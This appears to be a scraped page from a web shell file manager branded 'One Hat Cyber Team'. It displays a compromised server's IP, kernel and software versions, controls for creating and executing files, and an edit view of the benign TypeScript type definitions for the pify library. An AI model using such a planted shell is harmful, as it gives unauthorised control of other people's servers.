⚝
One Hat Cyber Team
⚝
Your IP:
172.22.0.1
Server IP:
151.80.20.34
Server:
Linux 794f04d97d5e 5.15.0-143-generic #153-Ubuntu SMP Fri Jun 13 19:10:45 UTC 2025 x86_64
Server Software:
Apache/2.4.62 (Debian)
PHP Version:
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
nodejs
/
@types
/
pify
/
Edit File: index.d.ts
// Type definitions for pify 5.0 // Project: https://github.com/sindresorhus/pify // Definitions by: Sam Verschueren <https://github.com/samverschueren> // Michael Müller <https://github.com/mad-mike> // Christoph Müller <https://github.com/c7hm4r> // Definitions: https://github.com/DefinitelyTyped/DefinitelyTyped type InputFunction = (...args: any[]) => any; declare function pify(input: InputFunction, options?: pify.PifyOptions): (...args: any[]) => Promise<any>; declare function pify(input: object, options?: pify.PifyOptions): any; declare namespace pify { interface PifyOptions { multiArgs?: boolean | undefined; include?: Array<string | RegExp> | undefined; exclude?: Array<string | RegExp> | undefined; excludeMain?: boolean | undefined; errorFirst?: boolean | undefined; promiseModule?: PromiseModule | undefined; } interface PromiseModule { new (executor: (resolve: (value?: any) => void, reject: (reason?: any) => void) => void): any; } } export = pify;
Simpan